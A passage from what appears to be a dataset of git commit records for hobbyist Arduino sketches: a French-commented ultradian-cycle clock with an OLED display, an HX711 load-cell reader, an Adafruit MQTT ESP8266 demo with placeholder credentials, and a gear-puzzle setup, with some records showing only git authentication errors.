Adafruit_SSD1306.h!\" );\n#endif\n\n#define avecSerial false\n\n\/\/ Modifier ici l\u2019heure d\u2019attention maximum.\n\/\/ Par exemple, si 7\u00a0h\u00a015 est une heure d\u2019attention maximum\u00a0:\n\/\/ heureAttentionMax = 7\u00a0h\u00a015\n\/\/ heureAttentionMax = MOD( 7*3600 + 15*60, 5400 )\n\/\/ heureAttentionMax = 4500 s\n\/\/ (5400 est le nombre de secondes dans 1\u00a0h\u00a030)\nconst long heureAttentionMax = 4500;\nconst byte displayWidth = 128;\nstatic const unsigned char cosinus_cmap[ displayWidth ] PROGMEM =\n{\n 63, 63, 63, 63, 63, 62, 62, 62,\n 62, 62, 62, 61, 61, 61, 61, 60,\n 60, 60, 59, 59, 58, 58, 57, 57,\n 56, 56, 55, 55, 54, 54, 53, 53,\n 52, 52, 51, 51, 50, 50, 49, 49,\n 48, 48, 47, 47, 46, 46, 45, 45,\n 45, 44, 44, 44, 44, 43, 43, 43,\n 43, 43, 43, 42, 42, 42, 42, 42,\n 42, 42, 42, 42, 42, 43, 43, 43,\n 43, 43, 43, 44, 44, 44, 44, 45,\n 45, 45, 46, 46, 47, 47, 48, 48,\n 49, 49, 50, 50, 51, 51, 52, 52,\n 53, 53, 54, 54, 55, 55, 56, 56,\n 57, 57, 58, 58, 59, 59, 60, 60,\n 60, 61, 61, 61, 61, 62, 62, 62,\n 62, 62, 62, 63, 63, 63, 63, 63\n};\n\nvoid prepareCourbeCycle( int16_t frac16eJourPx )\n{\n unsigned char py;\n \/\/ Partie de la courbe avec remplissage\n for( int16_t px=0; px<=frac16eJourPx; px++ )\n {\n py = pgm_read_byte( &cosinus_cmap[ px ] );\n display.drawLine( px, display.height()-1, px, py, WHITE );\n }\n \/\/ Partie de la courbe sans remplissage\n for( int16_t px=frac16eJourPx+1; px<displayWidth; px++ )\n {\n py = pgm_read_byte( &cosinus_cmap[ px ] );\n display.drawPixel( px, py, WHITE );\n }\n}\n\n#if avecSerial\nvoid serialEvent()\n{\n \/\/ Cette proc\u00e9dure permet de r\u00e9gler l\u2019heure de l\u2019horloge\n \/\/ via le bus RS232.\n \/\/ Exemple de commande \u00e0 envoyer\u00a0:\n \/\/ 2016,6,8,9,36,30\n\n const byte nbCharMax = 19;\n char str[ nbCharMax ] = { 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 };\n\n \/\/ Lecture de la nouvelle heure sur le port s\u00e9rie\n byte compteur = 0;\n while( Serial.available() && compteur <= nbCharMax )\n {\n char inChar = ( char )Serial.read();\n if( inChar == '\\n' ) break;\n str[ compteur++ ] = inChar;\n }\n\n \/\/ S\u00e9paration des \u00e9l\u00e9ments\n const char sep[ 2 ] = \",\";\n char *token;\n int dateHeureInt[ 6 ];\n compteur = 0;\n \/\/ Trouve le premier s\u00e9parateur\n token = strtok( str, sep );\n dateHeureInt[ 0 ] = atoi( token );\n \/\/ Trouve les autres s\u00e9parateurs\n while( token != NULL )\n {\n token = strtok( NULL, sep );\n dateHeureInt[ ++compteur ] = atoi( token );\n }\n\n \/\/ R\u00e9glage de l\u2019horloge et affichage de la nouvelle heure\n RTC.adjust( DateTime(\n dateHeureInt[ 0 ],\n dateHeureInt[ 1 ],\n dateHeureInt[ 2 ],\n dateHeureInt[ 3 ],\n dateHeureInt[ 4 ],\n dateHeureInt[ 5 ] ) );\n DateTime now = RTC.now();\n char nowChar[ 19 ];\n sprintf(\n nowChar,\n \"Heure actuelle : %1d-%02d-%02d %02d:%02d:%02d\",\n now.year(), now.month(), now.day(),\n now.hour(), now.minute(), now.second() );\n Serial.println( nowChar );\n}\n#endif\n\nvoid setup()\n{\n #if avecSerial\n \/\/ Initalisation de la communication s\u00e9rie pour r\u00e9gler l\u2019heure\n Serial.begin( 115200 );\n #endif\n\n \/\/ Initialisation de l\u2019horloge\n RTC.begin();\n\n \/\/ Initialisation de l\u2019\u00e9cran\n display.begin( SSD1306_SWITCHCAPVCC, 0x3C );\n display.clearDisplay();\n display.setTextColor( WHITE );\n}\n\nvoid loop()\n{\n\n \/\/ ****\n \/\/ Calculs du pourcentage du cycle d\u2019attention (cycleAtt)\n \/\/ et du temps \u00e9quivalent en 1\/16e de jour exprim\u00e9 en pixels (frac16eJourPx)\n \/\/ **\n\n \/\/ lecture de l\u2019heure actuelle\n DateTime now = RTC.now();\n\n \/\/ Calcul du temps \u00e9quivalent en 1\/16e de jour\n \/\/ NB\u00a0: - Il y a 16 cycles d\u20191\u00a0h\u00a030 dans 24\u00a0h\n \/\/ - 1\u00a0h\u00a030 = 5400\u00a0s\n long frac16eJour = ( now.secondstime() - heureAttentionMax ) % 5400;\n\n \/\/ Calcul du pourcentage du cycle d\u2019attention\n \/\/ 2 * \u03c0 * 16 \/ 86400 = 0.0011635528\n double cycleAtt = 100.0 * 0.5 * ( 1.0 + cos( ( double )( frac16eJour ) * 0.0011635528 ) );\n\n \/\/ Conversion de \u201cfrac16eJour\u201d en pixels.\n \/\/ Le cosinus est affich\u00e9 avec un d\u00e9phasage d\u2019une demi-p\u00e9riode, donc\n \/\/ les valeurs de la 1\u00e8re moiti\u00e9 du cycle correspondent \u00e0 la partie droite du cosinus et\n \/\/ les valeurs de la 2e moiti\u00e9 du cycle correspondent \u00e0 la partie gauche du cosinus.\n \/\/ Le code ci-dessous permute les deux moiti\u00e9s pour qu\u2019elles s\u2019affichent du bon c\u00f4t\u00e9.\n int16_t frac16eJourPx;\n if( frac16eJour < 5400\/2 )\n { frac16eJourPx = map( frac16eJour,\n 0, 5400\/2-1,\n displayWidth\/2, displayWidth-1 ); }\n else\n { frac16eJourPx = map( frac16eJour,\n 5400\/2, 5400-1,\n 0, displayWidth\/2-1 ); }\n\n\n \/\/ ****\n \/\/ Affichage des r\u00e9sultats\n \/\/ **\n\n \/\/ Effacement de l\u2019\u00e9cran\n display.clearDisplay();\n\n \/\/ Pr\u00e9paration de l\u2019affichage de la date\n display.setTextSize( 1 );\n display.setCursor( 0, 0 );\n display.print( now.day() );\n display.print( \" \" );\n switch( now.month() )\n {\n case 1: display.print( F( \"JAN\" ) ); break;\n case 2: display.print( F( \"FEV\" ) ); break;\n case 3: display.print( F( \"MARS\" ) ); break;\n case 4: display.print( F( \"AVR\" ) ); break;\n case 5: display.print( F( \"MAI\" ) ); break;\n case 6: display.print( F( \"JUIN\" ) ); break;\n case 7: display.print( F( \"JUIL\" ) ); break;\n case 8: display.print( F( \"AOUT\" ) ); break;\n case 9: display.print( F( \"SEPT\" ) ); break;\n case 10: display.print( F( \"OCT\" ) ); break;\n case 11: display.print( F( \"NOV\" ) ); break;\n case 12: display.print( F( \"DEC\" ) );\n }\n display.setCursor( 0, 9 );\n display.print( now.year() );\n\n \/\/ Pr\u00e9paration de l\u2019affichage de l\u2019heure et des minutes\n char texteAffichage[ 5 ];\n sprintf( texteAffichage, \"%2d:%02d\", now.hour(), now.minute() );\n display.setTextSize( 2 );\n display.setCursor( 49, 0 );\n display.print( texteAffichage );\n\n \/\/ Pr\u00e9paration de l\u2019affichage des secondes\n sprintf( texteAffichage, \":%02d\", now.second() );\n display.setTextSize( 1 );\n display.print( texteAffichage );\n\n \/\/ Pr\u00e9paration de l\u2019affichage du pourcentage du cycle\n display.setTextSize( 2 );\n if( cycleAtt < 0.01 )\n { display.setCursor( 53, 21 ); display.print( cycleAtt, 0 ); }\n else if( cycleAtt < 10 )\n { display.setCursor( 34, 21 ); display.print( cycleAtt, 2 ); }\n else if( cycleAtt < 99.5 )\n { display.setCursor( 34, 21 ); display.print( cycleAtt, 1 ); }\n else\n { display.setCursor( 42, 21 ); display.print( cycleAtt, 0 ); }\n display.print( char( 37 ) ); \/\/ signe %\n\n \/\/ Pr\u00e9paration de l\u2019affichage de la courbe du cycle\n prepareCourbeCycle( frac16eJourPx );\n\n \/\/ Met \u00e0 jour l\u2019affichage\n display.display();\n\n _delay_ms( 1000 );\n}\n","old_contents":"\/*\n\nHORLOGE \u00c0 CYCLES ULTRADIENS\n\nhttp:\/\/ouilogique.com\/horloge_cycles_ultradiens\/\n\nHORLOGE DS1307 I\u00b2C\n R\u00c9F\u00c9RENCE AliExpress\n http:\/\/fr.aliexpress.com\/item\/5pcs-lot-Tiny-RTC-I2C-AT24C32-DS1307-Real-Time-Clock-Module-Board-For-Arduino-With-A\/32327865928.html\n\n ADRESSES I\u00b2C\n 0x50 (EEPROM AT24C32)\n 0x68 (DS1307)\n\n LIBRAIRIE Adafruit\n https:\/\/github.com\/adafruit\/RTClib.git\n\n CONNEXIONS\n GND GND\n VCC +5V\n SDA pin A4\n SCL pin A5\n\n\u00c9CRAN OLED 128\u00d764 I\u00b2C\n R\u00c9F\u00c9RENCE AliExpress\n http:\/\/fr.aliexpress.com\/item\/1Pcs-Yellow-blue-double-color-128X64-OLED-LCD-LED-Display-Module-For-Arduino-0-96\/32305641669.html\n\n ADRESSE I\u00b2C\n 0x3C\n\n LIBRAIRIE Adafruit\n https:\/\/github.com\/adafruit\/Adafruit_SSD1306.git\n\n CONNEXIONS\n GND GND\n VDD +5V\n SCK pin A5\n SDA pin A4\n\nPULLUPS I\u00b2C\n 4.7 k\u03a9\n\nMICROCONTR\u00d4LEUR\n Clone Arduino Nano\n\njuin 2016, ouilogique.com\n\n*\/\n\n#include <Wire.h>\n#include <Adafruit_GFX.h>\n#include <math.h>\n#include \"RTClib.h\"\nRTC_DS1307 RTC = RTC_DS1307();\n#include <Adafruit_SSD1306.h>\n#define OLED_RESET 4\nAdafruit_SSD1306 display( OLED_RESET );\n#if( SSD1306_LCDHEIGHT != 64 )\n#error( \"Height incorrect, please fix Adafruit_SSD1306.h!\" );\n#endif\n\n#define avecSerial false\n\n\/\/ \u201cheureAttentionMax = 4500\u201d correspond \u00e0 7\u00a0h\u00a015,\n\/\/ car 7:15 = 26100 s\n\/\/ et 26100 % 5400 = 4500\u00a0s\n\/\/ o\u00f9 5400 est le nombre de secondes dans 1\u00a0h\u00a030\nconst long heureAttentionMax = 4500;\nconst byte displayWidth = 128;\nstatic const unsigned char cosinus_cmap[ displayWidth ] PROGMEM =\n{\n 63, 63, 63, 63, 63, 62, 62, 62,\n 62, 62, 62, 61, 61, 61, 61, 60,\n 60, 60, 59, 59, 58, 58, 57, 57,\n 56, 56, 55, 55, 54, 54, 53, 53,\n 52, 52, 51, 51, 50, 50, 49, 49,\n 48, 48, 47, 47, 46, 46, 45, 45,\n 45, 44, 44, 44, 44, 43, 43, 43,\n 43, 43, 43, 42, 42, 42, 42, 42,\n 42, 42, 42, 42, 42, 43, 43, 43,\n 43, 43, 43, 44, 44, 44, 44, 45,\n 45, 45, 46, 46, 47, 47, 48, 48,\n 49, 49, 50, 50, 51, 51, 52, 52,\n 53, 53, 54, 54, 55, 55, 56, 56,\n 57, 57, 58, 58, 59, 59, 60, 60,\n 60, 61, 61, 61, 61, 62, 62, 62,\n 62, 62, 62, 63, 63, 63, 63, 63\n};\n\nvoid prepareCourbeCycle( int16_t frac16eJourPx )\n{\n unsigned char py;\n \/\/ Partie de la courbe avec remplissage\n for( int16_t px=0; px<=frac16eJourPx; px++ )\n {\n py = pgm_read_byte( &cosinus_cmap[ px ] );\n display.drawLine( px, display.height()-1, px, py, WHITE );\n }\n \/\/ Partie de la courbe sans remplissage\n for( int16_t px=frac16eJourPx+1; px<displayWidth; px++ )\n {\n py = pgm_read_byte( &cosinus_cmap[ px ] );\n display.drawPixel( px, py, WHITE );\n }\n}\n\n#if avecSerial\nvoid serialEvent()\n{\n \/\/ Cette proc\u00e9dure permet de r\u00e9gler l\u2019heure de l\u2019horloge\n \/\/ via le bus RS232.\n \/\/ Exemple de commande \u00e0 envoyer\u00a0:\n \/\/ 2016,6,7,21,00,30\n\n const byte nbCharMax = 19;\n char str[ nbCharMax ] = { 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 };\n\n \/\/ Lecture de la nouvelle heure sur le port s\u00e9rie\n byte compteur = 0;\n while( Serial.available() && compteur <= nbCharMax )\n {\n char inChar = ( char )Serial.read();\n if( inChar == '\\n' ) break;\n str[ compteur++ ] = inChar;\n }\n\n \/\/ S\u00e9paration des \u00e9l\u00e9ments\n const char sep[ 2 ] = \",\";\n char *token;\n int dateHeureInt[ 6 ];\n compteur = 0;\n \/\/ Trouve le premier s\u00e9parateur\n token = strtok( str, sep );\n dateHeureInt[ 0 ] = atoi( token );\n \/\/ Trouve les autres s\u00e9parateurs\n while( token != NULL )\n {\n token = strtok( NULL, sep );\n dateHeureInt[ ++compteur ] = atoi( token );\n }\n\n \/\/ R\u00e9glage de l\u2019horloge et affichage de la nouvelle heure\n RTC.adjust( DateTime(\n dateHeureInt[ 0 ],\n dateHeureInt[ 1 ],\n dateHeureInt[ 2 ],\n dateHeureInt[ 3 ],\n dateHeureInt[ 4 ],\n dateHeureInt[ 5 ] ) );\n DateTime now = RTC.now();\n char nowChar[ 19 ];\n sprintf(\n nowChar,\n \"Heure actuelle : %1d-%02d-%02d %02d:%02d:%02d\",\n now.year(), now.month(), now.day(),\n now.hour(), now.minute(), now.second() );\n Serial.println( nowChar );\n}\n#endif\n\nvoid setup()\n{\n #if avecSerial\n \/\/ Initalisation de la communication s\u00e9rie pour r\u00e9gler l\u2019heure\n Serial.begin( 115200 );\n #endif\n\n \/\/ Initialisation de l\u2019horloge\n RTC.begin();\n\n \/\/ Initialisation de l\u2019\u00e9cran\n display.begin( SSD1306_SWITCHCAPVCC, 0x3C );\n display.clearDisplay();\n display.setTextColor( WHITE );\n}\n\nvoid loop()\n{\n\n \/\/ ****\n \/\/ Calculs du pourcentage du cycle d\u2019attention (cycle)\n \/\/ et du temps \u00e9quivalent en 1\/16e de jour exprim\u00e9 en pixels (frac16eJourPx)\n \/\/ **\n\n \/\/ lecture de l\u2019heure actuelle\n DateTime now = RTC.now();\n\n \/\/ Calcul du temps \u00e9quivalent en 1\/16e de jour\n \/\/ NB\u00a0: - Il y a 16 cycles d\u20191\u00a0h\u00a030 dans 24\u00a0h\n \/\/ - 1\u00a0h\u00a030 = 5400\u00a0s\n long frac16eJour = ( now.secondstime() - heureAttentionMax ) % 5400;\n\n \/\/ Calcul du pourcentage du cycle d\u2019attention\n \/\/ 2 * \u03c0 * 16 \/ 86400 = 0.0011635528\n double cycle = 100.0 * 0.5 * ( 1.0 + cos( ( double )( frac16eJour ) * 0.0011635528 ) );\n\n \/\/ Conversion de \u201cfrac16eJour\u201d en pixels\n \/\/ Les valeurs de la 1\u00e8re moiti\u00e9 du cycle correspondent \u00e0 la partie droite du cosinus.\n \/\/ Les valeurs de la 2e moiti\u00e9 du cycle correspondent \u00e0 la partie gauche du cosinus.\n \/\/ Le code ci-dessous permute les deux moiti\u00e9s pour qu\u2019elles s\u2019affichent du bon c\u00f4t\u00e9.\n int16_t frac16eJourPx;\n if( frac16eJour < 5400\/2 )\n { frac16eJourPx = map( frac16eJour,\n 0, 5400\/2-1,\n displayWidth\/2, displayWidth-1 ); }\n else\n { frac16eJourPx = map( frac16eJour,\n 5400\/2, 5400-1,\n 0, displayWidth\/2-1 ); }\n\n\n \/\/ ****\n \/\/ Affichage des r\u00e9sultats\n \/\/ **\n\n \/\/ Effacement de l\u2019\u00e9cran\n display.clearDisplay();\n\n \/\/ Pr\u00e9paration de l\u2019affichage de la date\n display.setTextSize( 1 );\n display.setCursor( 0, 0 );\n display.print( now.day() );\n display.print( \" \" );\n switch( now.month() )\n {\n case 1: display.print( F( \"JAN\" ) ); break;\n case 2: display.print( F( \"FEV\" ) ); break;\n case 3: display.print( F( \"MARS\" ) ); break;\n case 4: display.print( F( \"AVR\" ) ); break;\n case 5: display.print( F( \"MAI\" ) ); break;\n case 6: display.print( F( \"JUIN\" ) ); break;\n case 7: display.print( F( \"JUIL\" ) ); break;\n case 8: display.print( F( \"AOUT\" ) ); break;\n case 9: display.print( F( \"SEPT\" ) ); break;\n case 10: display.print( F( \"OCT\" ) ); break;\n case 11: display.print( F( \"NOV\" ) ); break;\n case 12: display.print( F( \"DEC\" ) );\n }\n display.setCursor( 0, 9 );\n display.print( now.year() );\n\n \/\/ Pr\u00e9paration de l\u2019affichage de l\u2019heure et des minutes\n char texteAffichage[ 5 ];\n sprintf( texteAffichage, \"%2d:%02d\", now.hour(), now.minute() );\n display.setTextSize( 2 );\n display.setCursor( 49, 0 );\n display.print( texteAffichage );\n\n \/\/ Pr\u00e9paration de l\u2019affichage des secondes\n sprintf( texteAffichage, \":%02d\", now.second() );\n display.setTextSize( 1 );\n display.print( texteAffichage );\n\n \/\/ Pr\u00e9paration de l\u2019affichage du pourcentage du cycle\n display.setTextSize( 2 );\n if( cycle < 10 )\n { display.setCursor( 34, 21 ); display.print( cycle, 2 ); }\n else if( cycle < 99.5 )\n { display.setCursor( 34, 21 ); display.print( cycle, 1 ); }\n else\n { display.setCursor( 42, 21 ); display.print( cycle, 0 ); }\n display.print( char( 37 ) ); \/\/ signe %\n\n \/\/ Pr\u00e9paration de l\u2019affichage de la courbe du cycle\n prepareCourbeCycle( frac16eJourPx );\n\n \/\/ Met \u00e0 jour l\u2019affichage\n display.display();\n\n _delay_ms( 1000 );\n}\n","returncode":0,"stderr":"","license":"mit","lang":"Arduino"} {"commit":"ee46a2cfa4c51515ba226b0a8bd1a1a2236b0f56","subject":"Add script to read HX711 and load cell","message":"Add script to read HX711 and load cell\n","repos":"baptistelabat\/robokite,baptistelabat\/robokite,baptistelabat\/robokite,baptistelabat\/robokite,baptistelabat\/robokite,baptistelabat\/robokite,baptistelabat\/robokite,baptistelabat\/robokite","old_file":"Arduino\/HX711_LoadCell\/HX711_LoadCell.ino","new_file":"Arduino\/HX711_LoadCell\/HX711_LoadCell.ino","new_contents":"\/*\n Inspired from code HX711 demo from Nathan Seidle, SparkFun Electronics\n\n This example code uses bogde's excellent library: https:\/\/github.com\/bogde\/HX711\n bogde's library is released under a GNU GENERAL PUBLIC LICENSE\n \n The HX711 does one thing well: read load cells. T\n\n Arduino pin (Nano)\n 2 -> HX711 CLK\n 3 -> HX711 DAT\n 3V3 -> HX711 VCC\n GND -> HX711 GND\n \n 5V -> Radio VCC\n 4 -> Radio GND \n RX -> Radio TX\n TX -> Radio RX\n \n\n \n The HX711 board can be powered from 2.7V to 5V so the Arduino 5V power should be fine.\n \n*\/\n\n#include \"HX711.h\"\n\n#define calibration_factor -7050.0 \/\/This value is obtained using the SparkFun_HX711_Calibration sketch\n\n#define DOUT 3\n#define CLK 2\n#define GND 4\n\nHX711 scale(DOUT, CLK);\n\nvoid setup() {\n pinMode(GND, OUTPUT);\n Serial.begin(57600);\n Serial.println(\"HX711 scale demo\");\n \n \/\/ Result of calibration\n scale.set_offset(8177300);\n scale.set_scale(-146.7); \/\/Read the raw value\n \n\n Serial.println(\"Readings:\");\n}\n\nvoid loop() {\n digitalWrite(GND, LOW);\n Serial.print(\"Reading: \");\n Serial.print(scale.read_average(), 1); \/\/raw value\n Serial.print(\" \");\n Serial.print(scale.get_units(), 1); \/\/scaled and offset after calibration\n Serial.print(\" g\"); \n Serial.println();\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino\/HX711_LoadCell\/HX711_LoadCell.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"b597c6e4a2e1b370eb577545f391a226013cf897","subject":"added IR calibration, smoothing and left\/right\/Tjunction discrimination","message":"added IR calibration, smoothing and left\/right\/Tjunction discrimination\n","repos":"manashmndl\/bluebrain,manashmndl\/bluebrain,manashmndl\/bluebrain,manashmndl\/bluebrain,manashmndl\/bluebrain,manashmndl\/bluebrain,manashmndl\/bluebrain,manashmndl\/bluebrain","old_file":"src\/rfduino\/CannybotMazeSolver\/CannybotMazeSolver.ino","new_file":"src\/rfduino\/CannybotMazeSolver\/CannybotMazeSolver.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/manashmndl\/bluebrain.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"47712e858a50c2f3535b2d4ed754c86a6c9dd7ca","subject":"Final code which we used.","message":"Final code which we used.","repos":"Valay\/ArduinoGesture,Valay\/ArduinoGesture,Valay\/ArduinoGesture,Valay\/ArduinoGesture","old_file":"Arduino\/sensor\/sensor.ino","new_file":"Arduino\/sensor\/sensor.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/Valay\/ArduinoGesture.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"98d29bcaca65242c5ade993c58369560a06c4638","subject":"_06_kidSerie_sketch_02.Adafruit_fake_feeds.ino - #kidSerie-06","message":"_06_kidSerie_sketch_02.Adafruit_fake_feeds.ino - #kidSerie-06\n\n_06_kidSerie_sketch_02.Adafruit_fake_feeds.ino - #kidSerie-06","repos":"giljr\/kidSeries,giljr\/kidSeries,giljr\/kidSeries","old_file":"_06_kidSerie_sketch_02.Adafruit_fake_feeds.ino","new_file":"_06_kidSerie_sketch_02.Adafruit_fake_feeds.ino","new_contents":"\/*\n Project name:\n 05 #kidSerie - Adafruit-IO Meets ESP8266, Arduino & MIT App Inventor 2\n (Awesome Smart Phone App!)\n Flavour III -\n Hex File: _06_kidSerie_sketch_02.Adafruit_fake_feeds.ino\n Revision History:\n 20161029:\n - from github adafruit\/Adafruit_MQTT_Library\n https:\/\/github.com\/adafruit\/Adafruit_MQTT_Library\/blob\/master\/examples\/mqtt_esp8266\/mqtt_esp8266.ino\n https:\/\/learn.adafruit.com\/mqtt-adafruit-io-and-you\/intro-to-adafruit-mqtt\n Description:\n How to teach young people how to take advantage of already tested codes and create a new one from them.\n I decided to face a new challenge. This code is the second one and joining the first one we will communicate with \n the Adafruit-io Broker to send temperature and humidity data via MQTT Protocol.\n MCU: Arduino 1.6.12 - @16MHz http:\/\/www.arduino.cc\/\n ESP8266: ESP-01 https:\/\/goo.gl\/E0Eq4l\n DHT11: PRODUCT ID: 386 https:\/\/www.adafruit.com\/product\/386\n Connections:\n See Official youtube channel vids: https:\/\/youtu.be\/cwYix_Oyui4\n Based on: Tony DiCola for Adafruit Industries - see below!\n This program is free software: you can redistribute it and\/or modify\n it under the terms of the GNU General Public License v3 as published by\n the Free Software Foundation\n*\/\n\/***************************************************\n Adafruit MQTT Library ESP8266 Example\n Must use ESP8266 Arduino from:\n https:\/\/github.com\/esp8266\/Arduino\n Works great with Adafruit's Huzzah ESP board & Feather\n ----> https:\/\/www.adafruit.com\/product\/2471\n ----> https:\/\/www.adafruit.com\/products\/2821\n Adafruit invests time and resources providing this open source code,\n please support Adafruit and open-source hardware by purchasing\n products from Adafruit!\n Written by Tony DiCola for Adafruit Industries.\n MIT license, all text above must be included in any redistribution\n ****************************************************\/\n \/******************************* Adafruit MQTT *******************************\/\n\n#include \"Adafruit_MQTT.h\"\n#include \"Adafruit_MQTT_Client.h\"\n\n\/******************************* Esp8266**************************************\/\n\n#include <ESP8266WiFi.h>\n\n\/************************* WiFi Access Point *********************************\/\n\n#define WLAN_SSID \"...your SSID...\"\n#define WLAN_PASS \"...your password...\"\n\n\/************************* Adafruit.io Setup *********************************\/\n\n#define AIO_SERVER \"io.adafruit.com\"\n#define AIO_SERVERPORT 1883 \/\/ use 8883 for SSL\n#define AIO_USERNAME \"...your AIO username (see https:\/\/accounts.adafruit.com)...\"\n#define AIO_KEY \"...your AIO key...\"\n\n\/************ Global State (you don't need to change this!) ******************\/\n\n\/\/ Create an ESP8266 WiFiClient class to connect to the MQTT server.\nWiFiClient client;\n\/\/ or... use WiFiFlientSecure for SSL\n\/\/WiFiClientSecure client;\n\n\/\/ Setup the MQTT client class by passing in the WiFi client and MQTT server and login details.\nAdafruit_MQTT_Client mqtt(&client, AIO_SERVER, AIO_SERVERPORT, AIO_USERNAME, AIO_KEY);\n\n\/****************************** Feeds ***************************************\/\n\/****************************** Topics ***************************************\/\n\/\/ Setup a feed called 'photocell' for publishing.\n\/\/ Notice MQTT paths for AIO follow the form: <username>\/feeds\/<feedname>\nAdafruit_MQTT_Publish photocell = Adafruit_MQTT_Publish(&mqtt, AIO_USERNAME \"\/feeds\/photocell\");\n\/****************************** Subscriptions*********************************\/\n\/\/ Setup a feed called 'photocell' for subscribing to changes.\nAdafruit_MQTT_Subscribe photocell_subsc = Adafruit_MQTT_Subscribe(&mqtt, AIO_USERNAME \"\/feeds\/photocell\");\n\n\/*************************** MQTT Conn ************************************\/\n\n\/\/ Bug workaround for Arduino 1.6.6, it seems to need a function declaration\n\/\/ for some reason (only affects ESP8266, likely an arduino-builder bug).\nvoid MQTT_connect();\n\n\/****************************** Setup ***************************************\/\nvoid setup() {\n Serial.begin(115200);\n delay(10);\n\n Serial.println(F(\"Adafruit MQTT demo\"));\n\n \/\/ Connect to WiFi access point.\n Serial.println(); Serial.println();\n Serial.print(\"Connecting to \");\n Serial.println(WLAN_SSID);\n\n WiFi.begin(WLAN_SSID, WLAN_PASS);\n while (WiFi.status() != WL_CONNECTED) {\n delay(500);\n Serial.print(\".\");\n }\n Serial.println();\n\n Serial.println(\"WiFi connected\");\n Serial.println(\"IP address: \"); Serial.println(WiFi.localIP());\n\n \/\/ Setup MQTT subscription for onoff feed.\n mqtt.subscribe(&photocell_subsc);\n}\n\nuint32_t x=0; \/\/ Mock data\n\n\/****************************** Loop ***************************************\/\nvoid loop() {\n \/\/ Ensure the connection to the MQTT server is alive (this will make the first\n \/\/ connection and automatically reconnect when disconnected). See the MQTT_connect\n \/\/ function definition further below.\n MQTT_connect();\n\n \/\/ this is our 'wait for incoming subscription packets' busy subloop\n \/\/ try to spend your time here\n \n \/****************************** Subscript ***********************************\/\n Adafruit_MQTT_Subscribe *subscription;\n while ((subscription = mqtt.readSubscription(5000))) {\n if (subscription == &photocell_subsc) {\n Serial.print(F(\"Got: \"));\n Serial.println((char *)photocell_subsc.lastread);\n }\n }\n \/****************************** Publish **********************************\/\n \/\/ Now we can publish stuff!\n Serial.print(F(\"\\nSending photocell val \"));\n Serial.print(x);\n Serial.print(\"...\");\n if (! photocell.publish(x++)) {\n Serial.println(F(\"Failed\"));\n } else {\n Serial.println(F(\"OK!\"));\n }\n\/****************************** Ping ***************************************\/\n\n \/\/ ping the server to keep the mqtt connection alive\n \/\/ NOT required if you are publishing once every KEEPALIVE seconds\n \/*\n if(! mqtt.ping()) {\n mqtt.disconnect();\n }\n *\/\n}\n\/********************************* MQTT Conn ********************************\/\n\/\/ Function to connect and reconnect as necessary to the MQTT server.\n\/\/ Should be called in the loop function and it will take care if connecting.\nvoid MQTT_connect() {\n int8_t ret;\n\n \/\/ Stop if already connected.\n if (mqtt.connected()) {\n return;\n }\n\n Serial.print(\"Connecting to MQTT... \");\n\n uint8_t retries = 3;\n while ((ret = mqtt.connect()) != 0) { \/\/ connect will return 0 for connected\n Serial.println(mqtt.connectErrorString(ret));\n Serial.println(\"Retrying MQTT connection in 5 seconds...\");\n mqtt.disconnect();\n delay(5000); \/\/ wait 5 seconds\n retries--;\n if (retries == 0) {\n \/\/ basically die and wait for WDT to reset me\n while (1);\n }\n }\n Serial.println(\"MQTT Connected!\");\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec '_06_kidSerie_sketch_02.Adafruit_fake_feeds.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"d4465b73b87a71093c676b461c64b42d60db3a81","subject":"go faster","message":"go faster\n","repos":"wsnook\/farm,wsnook\/farm,wsnook\/farm","old_file":"arduino\/temperature\/temperature.ino","new_file":"arduino\/temperature\/temperature.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/wsnook\/farm.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"fc07fc51fa1dd3e69e55efe19c8614bfa209cc00","subject":"Add framework and convenience functions for gear puzzle","message":"Add framework and convenience functions for gear puzzle\n","repos":"bhomberg\/heterodyne,bhomberg\/heterodyne,bhomberg\/heterodyne,bhomberg\/heterodyne,bhomberg\/heterodyne","old_file":"crypt-gears\/gear_arduino\/gear_arduino.ino","new_file":"crypt-gears\/gear_arduino\/gear_arduino.ino","new_contents":"\/\/ hard-coded pins\nint gear_connections[3][12] = {{ 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13}, \n {14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25}, \n {26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37}};\n \nint output_lights[7] = {38, 39, 40, 41, 42, 43, 44};\n\nint gear_lodged[3] = {45, 46, 47};\n\nint pot = A0;\n\n\/\/ TODO(bhomberg): calculate these numbers for real once mechanism is built; this is approx\nint pot_locs[8] = {100, 200, 300, 400, 500, 600, 700, 800};\n\n\/\/ TODO(benkraft): add any state variables you need\n\n\/\/ this runs once when the program starts\nvoid setup() \n{\n Serial.begin(9600); \n \n \/\/ init all gear connections as inputs\n for(int i=0; i<3; i++)\n {\n for(int j=0; j<12; j++)\n {\n pinMode(gear_connections[i][j], INPUT);\n }\n }\n \n \/\/ init all output lights as outputs which are off\n for(int i=0; i<7; i++) \n {\n pinMode(output_lights[i], OUTPUT);\n digitalWrite(output_lights[i], LOW);\n }\n \n \/\/ init all 